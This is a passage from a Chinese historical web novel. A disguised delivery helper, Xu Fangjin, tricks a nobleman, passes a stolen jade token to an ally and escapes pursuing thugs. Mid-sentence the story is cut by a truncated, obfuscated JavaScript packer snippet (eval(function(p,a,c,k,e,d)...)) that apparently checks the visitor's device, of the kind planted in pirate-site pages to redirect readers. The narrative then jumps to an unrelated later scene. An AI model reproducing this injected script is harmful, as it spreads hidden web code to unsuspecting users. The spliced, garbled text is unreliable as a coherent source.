“哎呦!你是不是瞎了眼,怎么大个人没看见吗?都是干什么吃的?”那人倒打一耙,爬起来就要推搡温予衡。 徐方谨迅速上前去低头哈腰,给他拍了拍身上的鸡毛和菜叶子,“这位公子,实在对不住,小人手脚忙乱,冲撞了贵人,他是刚来的,不懂规矩,你大人有大量,就宽宥他一回吧。” “什么脏东西,离我远一点。”张孝贵嫌恶地避开了徐方谨的靠近,“走开,下贱东西,也敢碰本少爷。” 徐方谨立刻赔笑,“是是是,小人有眼不识泰山,这就给您赔罪。只求您别告诉我们管事的,今天有大人物要来,小人也是糊口的,就想挣些钱养七十岁的老母。” 他一脸凄苦相,双手合十一个劲地赔罪,看上去可怜兮兮的。 张孝贵本满脸不屑,但听到他口中的大人物,立刻双眼放光,也不追究了,赶忙从怀里摸了几两银子塞给了徐方谨。 “小兄弟,刚才也是我走太快了,没注意到你们,这点小钱你们拿去喝酒。”又勾搭上他的肩,压低声音问:“什么大人物,小兄弟知道多少?” 徐方谨一脸惶恐,“俺们也是刚来的,也不太清楚是哪个大人物……”见到张孝贵明显阴沉下来的脸色,又赶紧补上了几句,“听说东厂的人也来,许是上头的人。” 还煞有其事地用手指了指天。 张孝贵面上一喜,但不好表现出来,撇了眼一脸穷傻相的徐方谨,又问了一句,“那小兄弟,你这?”他左右看了看,又掏出了一个锦袋递给了徐方谨,“……哪个门容易见到这种大人物。” 徐方谨瑟缩了一下肩膀,揣着银子有些不知所措,“或许是……西门吧,那最是隐秘。” 得到消息的张孝贵好声好气地拍了拍徐方谨抖着的肩膀,“好好干,别跟旁人说我打听过,不然……”他用手抹了抹脖子,眼里全是警告。 徐方谨捣蒜一样拼命点头,缩着个脑袋,“小的明白,明白。” 张孝贵大步流星,很快就走远了。 刚刚被推到一旁的温予衡立刻走了过来,两个人一起合力将那些散落的菜和已经蔫掉的鸡鸭拎起来。 三两下弄好,徐方谨侧过身的功夫,将刚刚从张孝贵顺下来的一块玉牌不留痕迹地送到了温予衡的袖中,低声同他说了几句,温予衡立刻眼神示意他明白了。 这头一筐筐送菜进去,徐方谨忙得满头大汗,仰头看着日头,心里盘算着时间,最后将鸡鸭鱼肉搬好,他才得闲歇一会。 坐在阶梯上将自己肩上的菜叶子摘下来搁在手里。 只是院外陡然传来了骚乱,一群打手满脸凶相,似是到处在寻些什么人,动静大的惊动了院里的人,一墙之隔还能听到侍女纷乱的惊叫声。 一个打杂甩了甩白布,也在徐方谨旁边坐了下来,啐了一口,“真是晦气,听说有人混进来了,也不看这是什么地方。” 那人有些烦躁,转头看向了低头的徐方谨,见他缩着个身子,随便踢了他一脚,“你是哪的,怎么看着面生?” 徐方谨拍了拍膝上的尘土,“俺是送菜小树子的表哥,他今日风寒了,将他的活计托给我几日。” 那人满脸狐疑,推了推徐方谨的肩膀,“你转过我看看……不对呀,小树子是流难的孤儿,哪来的表哥,前日我还同他划拳来着。” 说着就急了,拼命抓住徐方谨,让他转过脸来,声音高扬,“你不会就是那个混进来的贼吧!” 说时迟那时快,徐方谨转身的一瞬间,将手里攥着的菜叶子塞进了他嘴里,又迅速打了那人一拳,然后飞步而起,三两下溜上台阶,侧身往小道跑走。 打杂的脸立刻青了一块,口中的菜叶子嚼着苦涩,很重的呸呸两声,嗓门极大,“你奶奶的!敢打老子,来人啊,混进来的贼在这里,往这里跑了!” 很快就有人闻声包围了过来,凶狠狠的一群人顺着打杂的指去的方向,立刻分列包抄过去,腿脚极快地不见踪影了。 徐方谨用尽全力,飞奔上阶梯,紧跟着后头就听见了纷繁的脚步声,一口气不敢多喘,穿越廊道侧门,拐进了小路里。 “在这里,快过来,他在这里!” “别跑!” 但身后穷追不舍的人明显比他更熟悉这里的布局,且人数众多,脚步飞快,眼看着就往这来了,一群人声势浩大,喊打喊杀的。 徐方谨一把抹掉了滴落在眼角的汗水,飞身钻进了小竹林里遮挡视线,然后迅速找到一个侧门的狗洞,灵活蹲下,一缩身就进了前院。 但显然前后院的消息互通,这头也有搜捕的人在四处寻找,远远听到有人喊了一声,“在那里,那人来前院了,快追!” 真是前有狼后有虎! 徐方谨连口气都不能喘,被迫又开始他的逃亡之路,再次飞跑穿过游廊,见一精致小门,立刻三两步摸上了阁楼,下头跟着的阶梯被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见他如此坚持,又是宋石岩下的命令,周管事只好对女子说,“小鱼儿,你跟我来,不怕,没人能动得了你,今日我便给你换个住处。” 小鱼儿懂事地点了点头,只是担忧的目光不经意望向了屋内。 打手身经百战,看到小鱼儿这样的眼神不禁冷笑一声,大手一摆,“给我仔细搜,拿不到人唯你们是问!” 说完,那群打手便如狼似虎地扑进了房间内,翻箱倒柜,四处搜寻,掀倒了桌子扔了椅子,动静极大。 领头的脚步极快,推门到了里屋,训练有素的先是找了能藏人的柜子,没找到之后又立刻俯身看向了床底,但什么都没有, 空空如也的里间还燃着苏合香,跟着进来的手下纷纷汇报没见到人,领头当即面色阴沉。 忽然,他快步走到窗前,手指在窗栏上一抹,定睛一看,咬牙切齿道:“给他跑了。” 他很快收起起怒气,快步走出里间,又问手下,“这窗户通向哪里?” 手下忙擦额头上的汗,见他凶神恶煞的也有些害怕,“这靠近西门…”哭丧着脸,又说,“这会功夫,怕是人早就出西苑了。”